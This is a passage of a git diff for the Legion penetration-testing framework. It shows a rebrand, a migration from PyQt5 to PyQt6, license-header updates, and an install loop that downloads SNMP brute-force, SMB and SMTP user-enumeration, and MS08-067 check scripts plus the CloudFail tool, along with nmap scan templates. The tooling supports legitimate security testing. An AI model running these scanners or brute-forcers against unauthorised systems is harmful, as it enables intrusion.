scripts/CloudFail -fi +scripts=("smbenum.sh" "snmpbrute.py" "ms08-067_check.py" "rdp-sec-check.pl", "ndr.py", "installDeps.sh", "snmpcheck.rb", "smtp-user-enum.pl") + +for script in "${scripts[@]}"; do + if [ -a "scripts/$script" ]; then + echo "$script is already installed" + else + wget -v -P scripts/ "https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/$script" + fi +done + +declare -A externalRepos +externalRepos["CloudFail"]="https://github.com/m0rtem/CloudFail.git" + +for externalRepo in "${!externalRepos[@]}"; do + if [ -d "scripts/$externalRepos" ]; then + echo "$externalRepo is already installed" + else + git clone "${externalRepos[$externalRepo]}" scripts/$externalRepo + fi +done if [ ! -f ".initialized" ] then diff --git a/deps/installDeps.sh b/deps/installDeps.sh old mode 100644 new mode 100755 diff --git a/deps/installPython36.sh b/deps/installPython36.sh old mode 100644 new mode 100755 diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh old mode 100644 new mode 100755 diff --git a/deps/nmap-wsl.sh b/deps/nmap-wsl.sh old mode 100644 new mode 100755 diff --git a/deps/primeExploitDb.py b/deps/primeExploitDb.py old mode 100644 new mode 100755 diff --git a/deps/setupWsl.sh b/deps/setupWsl.sh old mode 100644 new mode 100755 diff --git a/legion.conf b/legion.conf index 3b3c1b18..aad1835b 100644 --- a/legion.conf +++ b/legion.conf @@ -26,11 +26,11 @@ web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-fast-udp=Run nmap (fast UDP), nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-script-Vulners=Run nmap script - Vulners, nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\" +nmap-udp-1000=Run nmap (top 1000 quick UDP), nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\" python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v diff --git a/legion.py b/legion.py index 78c9e1b0..5749139d 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -39,15 +39,16 @@ exit(1) try: - from PyQt5 import QtWidgets, QtGui, QtCore + from PyQt6 import QtWidgets, QtGui, QtCore + from PyQt6.QtCore import QCoreApplication except ImportError as e: - startupLog.error("Import failed. PyQt5 library not found. If on Ubuntu or similar try: " + startupLog.error("Import failed. PyQt6 library not found. If on Ubuntu or similar try: " "apt-get install python3-pyqt5") startupLog.error(e) exit(1) try: - import quamash + import qasync import asyncio except ImportError as e: startupLog.error("Import failed. Quamash or asyncio not found.") @@ -68,8 +69,8 @@ import os -if not os.path.isdir(os.path.expanduser("~/.local/share/legion/tmp")): - os.makedirs(os.path.expanduser("~/.local/share/legion/tmp")) +#if not os.path.isdir(os.path.expanduser("~/.local/share/legion/tmp")): +# os.makedirs(os.path.expanduser("~/.local/share/legion/tmp")) if not os.path.isdir(os.path.expanduser("~/.local/share/legion/backup")): os.makedirs(os.path.expanduser("~/.local/share/legion/backup")) @@ -92,41 +93,44 @@ cprint(figlet_format('LEGION'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) - loop = quamash.QEventLoop(app) + loop = qasync.QEventLoop(app) asyncio.set_event_loop(loop) MainWindow = QtWidgets.QMainWindow() + Screen = QGuiApplication.primaryScreen() app.setWindowIcon(QIcon('./images/icons/Legion-N_128x128.svg')) ui = Ui_MainWindow() ui.setupUi(MainWindow) - try: - qss_file = open('./ui/legion.qss').read() - except IOError: - startupLog.error( - "The legion.qss file is missing. Your installation seems to be corrupted. " + - "Try downloading the latest version.") - exit(0) + # Possibly unneeded + #try: + # qss_file = open('./ui/legion.qss').read() + #except IOError: + # startupLog.error( + # "The legion.qss file is missing. Your installation seems to be corrupted. " + + # "Try downloading the latest version.") + # exit(0) if os.geteuid()!=0: startupLog.error("Legion must run as root for raw socket access. Please start legion using sudo.") notice=QMessageBox() - notice.setIcon(QMessageBox.Critical) + notice.setIcon(QMessageBox.Icon.Critical) notice.setText("Legion must run as root for raw socket access. Please start legion using sudo.") - notice.exec_() + notice.exec() exit(1) if '7.92' in checkNmapVersion.decode(): startupLog.error("Cannot continue. NMAP version is 7.92, which has problems segfaulting under zsh.") startupLog.error("Please follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") notice=QMessageBox() - notice.setIcon(QMessageBox.Critical) + notice.setIcon(QMessageBox.Icon.Critical) notice.setText("Cannot continue. The installed NMAP version is 7.92, which has segfaults under zsh.\nPlease follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") notice.exec_() exit(1) - MainWindow.setStyleSheet(qss_file) + # Possibly unneeded + #MainWindow.setStyleSheet(qss_file) shell = DefaultShell() @@ -137,6 +141,7 @@ projectManager = ProjectManager(shell, repositoryFactory, appLogger) nmapExporter = DefaultNmapExporter(shell, appLogger) toolCoordinator = ToolCoordinator(shell, nmapExporter) + # Model prep (logic, db and models) logic = Logic(shell, projectManager, toolCoordinator) @@ -144,27 +149,29 @@ logic.createNewTemporaryProject() viewState = ViewState() - view = View(viewState, ui, MainWindow, shell) # View prep (gui) + view = View(viewState, ui, MainWindow, shell, app, loop) # View prep (gui) controller = Controller(view, logic) # Controller prep (communication between model and view) - view.qss = qss_file + + # Possibly unneeded + #view.qss = qss_file myFilter = MyEventFilter(view, MainWindow) # to capture events app.installEventFilter(myFilter) # Center the application in screen - x = app.desktop().screenGeometry().center().x() - y = app.desktop().screenGeometry().center().y() - MainWindow.move(int(x - MainWindow.geometry().width() / 2), int(y - MainWindow.geometry().height() / 2 + 125)) + screenCenter = Screen.availableGeometry().center() + MainWindow.move(screenCenter - MainWindow.rect().center()) # Show main window - MainWindow.showMaximized() + #MainWindow.showMaximized() startupLog.info("Legion started successfully.") try: - loop.run_forever() + sys.exit(loop.run_forever()) except KeyboardInterrupt: pass - app.deleteLater() - loop.close() - sys.exit() + #app.deleteLater() + #app.quit() + #loop.close() + #sys.exit() diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index 52f7820c..cf1172d5 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py index 0f2417cc..d7a7bc25 100644 --- a/parsers/examples/OsExample.py +++ b/parsers/examples/OsExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index 21e73a4b..89677489 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py index abeaa4af..f157b328 100644 --- a/parsers/examples/ScriptExample.py +++ b/parsers/examples/ScriptExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py index 17f8c626..28a0ff75 100644 --- a/parsers/examples/ServiceExample.py +++ b/parsers/examples/ServiceExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py index dfad39f8..ae9ef989 100644 --- a/parsers/examples/SessionExample.py +++ b/parsers/examples/SessionExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2022 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/precommit.sh b/precommit.sh old mode 100644 new mode 100755 index 41030a94..667cb0bb --- a/precommit.sh +++ b/precommit.sh @@ -27,4 +27,4 @@ rm -Rf ./scripts/CloudFail/ # Removed backups rm -Rf ./backup/*.conf -find . -type f -exec sed -i 's/Copyright (c) 2020 GoVanguard/Copyright (c) 2022 GoVanguard/' {} \; +find . -type f -exec sed -i 's/Copyright (c) 2023 Gotham Security/Copyright (c) 2023 Gotham Security/' {} \; diff --git a/requirements.txt b/requirements.txt index 803fca3f..181a4edf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,23 +1,14 @@ asyncio -aiohttp -aioredis -six>=1.11.0 -Quamash>=0.6.1 -psycopg2 -SQLAlchemy==1.3.19 -aiomonitor>=0.3.1 -APScheduler>=3.5.3 -PyQt5==5.11.3 -sanic>=0.8.3 -sanic_swagger -requests>=2.20.1 -pyfiglet==0.8post1 +six +qasync +SQLAlchemy +PyQt6 +requests +pyfiglet colorama termcolor -win_inet_pton pyExploitDb pyShodan GitPython pandas -flake8>=3.7.8 -websockets>=9.1 # not directly required, pinned by Snyk to avoid a vulnerability +flake8 diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh old mode 100644 new mode 100755 diff --git a/scripts/nmap/shodan-api.nse b/scripts/nmap/shodan-api.nse old mode 100644 new mode 100755 diff --git a/scripts/nmap/shodan-hq.nse b/scripts/nmap/shodan-hq.nse old mode 100644 new mode 100755 diff --git a/scripts/nmap/vulners.nse b/scripts/nmap/vulners.nse old mode 100644 new mode 100755 diff --git a/scripts/python/__init__.py b/scripts/python/__init__.py old mode 100644 new mode 100755 diff --git a/scripts/python/dummy.py b/scripts/python/dummy.py old mode 100644 new mode 100755 diff --git a/scripts/python/macvendors.py b/scripts/python/macvendors.py old mode 100644 new mode 100755 diff --git a/scripts/python/pyShodan.py b/scripts/python/pyShodan.py old mode 100644 new mode 100755 diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh old mode 100644 new mode 100755 diff --git a/startLegion.sh b/startLegion.sh old mode 100644 new mode 100755 diff --git a/test.py b/test.py new file mode 100644 index 00000000..cd7c52ca --- /dev/null +++ b/test.py @@ -0,0 +1,49 @@ +import sys +from PyQt6.QtWidgets import QApplication, QMainWindow, QPushButton, QTextEdit, QVBoxLayout, QWidget +from PyQt6.QtCore import QProcess + +class MainWindow(QMainWindow): + def __init__(self): + super().__init__() + self.initUI() + + def initUI(self): + # Create a button to start the process + self.button = QPushButton("Run date") + self.button.clicked.connect(self.run_date) + + # Create a text edit to display the output + self.output = QTextEdit() + self.output.setReadOnly(True) + + # Create a layout and a central widget + layout = QVBoxLayout() + layout.addWidget(self.button) + layout.addWidget(self.output) + widget = QWidget() + widget.setLayout(layout) + self.setCentralWidget(widget) + + # Create a QProcess object + self.process = QProcess() + # Connect the readyReadStandardOutput signal to a slot + self.process.readyReadStandardOutput.connect(self.read_output) + + def run_date(self): + # Start the date command as a QProcess + self.process.start("/sbin/nmap") + + def read_output(self): + # Read the standard output from the QProcess + output = self.process.readAllStandardOutput().data().decode() + output = output + "\n" + self.process.readAllStandardError().data().decode() + # Append the output to the text edit + self.output.append(output) + +# Create an application and a main window +app = QApplication(sys.argv) +window = MainWindow() +window.show() +# Run the application +sys.exit(app.exec()) + diff --git a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py index 3b1a6da8..f781ce62 100644 --- a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py +++ b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest diff --git a/tests/app/http/test_isHttps.py b/tests/app/http/test_isHttps.py index 43e78d84..84e8854d 100644 --- a/tests/app/http/test_isHttps.py +++ b/tests/app/http/test_isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch, MagicMock diff --git a/tests/app/shell/test_DefaultShell.py b/tests/app/shell/test_DefaultShell.py index d210e940..0cd7f827 100644 --- a/tests/app/shell/test_DefaultShell.py +++ b/tests/app/shell/test_DefaultShell.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest import os.path diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py index 4580c3a0..c47ece58 100644 --- a/tests/app/test_ModelHelpers.py +++ b/tests/app/test_ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.com) +LEGION (https://gotham-security.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public @@ -13,11 +13,11 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest -from PyQt5 import QtCore +from PyQt6 import QtCore from app.ModelHelpers import resolveHeaders, itemInteractive, itemSelectable @@ -26,24 +26,24 @@ class ModelHelpersTest(unittest.TestCase): def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsHzAndSectionIsWithinBound_ReturnsHeaders(self): expectedHeaders = ["header1", "header2", "header3"] headers = [[], expectedHeaders, []] - actualHeaders = resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Horizontal, 1, headers) + actualHeaders = resolveHeaders(QtCore.Qt.ItemDataRole.DisplayRole, QtCore.Qt.Orientation.Horizontal, 1, headers) self.assertEqual(expectedHeaders, actualHeaders) def test_resolveHeaders_WhenRoleIsNotDisplay_ReturnsNone(self): - self.assertIsNone(resolveHeaders(QtCore.Qt.BackgroundRole, QtCore.Qt.Horizontal, 1, [])) + self.assertIsNone(resolveHeaders(QtCore.Qt.ItemDataRole.BackgroundRole, QtCore.Qt.Orientation.Horizontal, 1, [])) def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsNotHz_ReturnsNone(self): - self.assertIsNone(resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Vertical, 1, [])) + self.assertIsNone(resolveHeaders(QtCore.Qt.ItemDataRole.DisplayRole, QtCore.Qt.Orientation.Vertical, 1, [])) def test_resolveHeaders_WhenRoleIsDisplayAndOrientationIsHzAndSectionIsOutOfBound_ReturnsStringMessage(self): expectedMessage = "not implemented in view model" - actualMessage = resolveHeaders(QtCore.Qt.DisplayRole, QtCore.Qt.Horizontal, 100, []) + actualMessage = resolveHeaders(QtCore.Qt.ItemDataRole.DisplayRole, QtCore.Qt.Orientation.Horizontal, 100, []) self.assertEqual(expectedMessage, actualMessage) def test_itemInteractive_ReturnsItemFlagForEnabledSelectableEditableItem(self): - expectedFlags = QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable + expectedFlags = QtCore.Qt.ItemFlag.ItemIsEnabled | QtCore.Qt.ItemFlag.ItemIsSelectable | QtCore.Qt.ItemFlag.ItemIsEditable self.assertEqual(expectedFlags, itemInteractive()) def test_itemSelectable_ReturnItemFlagForEnabledSelectableItem(self): - expectedFlags = QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + expectedFlags = QtCore.Qt.ItemFlag.ItemIsEnabled | QtCore.Qt.ItemFlag.ItemIsSelectable self.assertEqual(expectedFlags, itemSelectable()) diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py index d597c64b..e9a67ba9 100644 --- a/tests/app/test_ProjectManager.py +++ b/tests/app/test_ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/app/test_Timing.py b/tests/app/test_Timing.py index 079b857d..faeab37e 100644 --- a/tests/app/test_Timing.py +++ b/tests/app/test_Timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from datetime import datetime diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index bdd6896b..dea33fa5 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/app/tools/nmap/test_NmapHelpers.py b/tests/app/tools/nmap/test_NmapHelpers.py index c82b0204..9098458e 100644 --- a/tests/app/tools/nmap/test_NmapHelpers.py +++ b/tests/app/tools/nmap/test_NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py index cd5b7ae6..433419c2 100644 --- a/tests/app/tools/test_ToolCoordinator.py +++ b/tests/app/tools/test_ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 7c0352cf..6381c589 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch, MagicMock diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index 7c754009..ac293477 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index 9ed85a1f..67df228d 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ b/tests/db/repositories/test_NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index 89129b83..e954f114 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.com) +LEGION (https://gotham-security.com) Copyright (c) 2018-2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 0ae77654..59c43e0a 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index 1739b5e0..ed063f8e 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py index 454102f9..5eba7356 100644 --- a/tests/db/test_filters.py +++ b/tests/db/test_filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch diff --git a/tests/db/test_validation.py b/tests/db/test_validation.py index d2391eec..9207ef4d 100644 --- a/tests/db/test_validation.py +++ b/tests/db/test_validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest diff --git a/tests/parsers/test_Parser.py b/tests/parsers/test_Parser.py index ce63642c..bbc1c3a7 100644 --- a/tests/parsers/test_Parser.py +++ b/tests/parsers/test_Parser.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +LEGION (https://gotham-security.com) +Copyright (c) 2023 Gotham Security This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from os.path import dirname, join diff --git a/tests/test.py b/tests/test.py index 825b5c60..f9d2a120 100644 --- a/tests/test.py +++ b/tests/test.py @@ -6,10 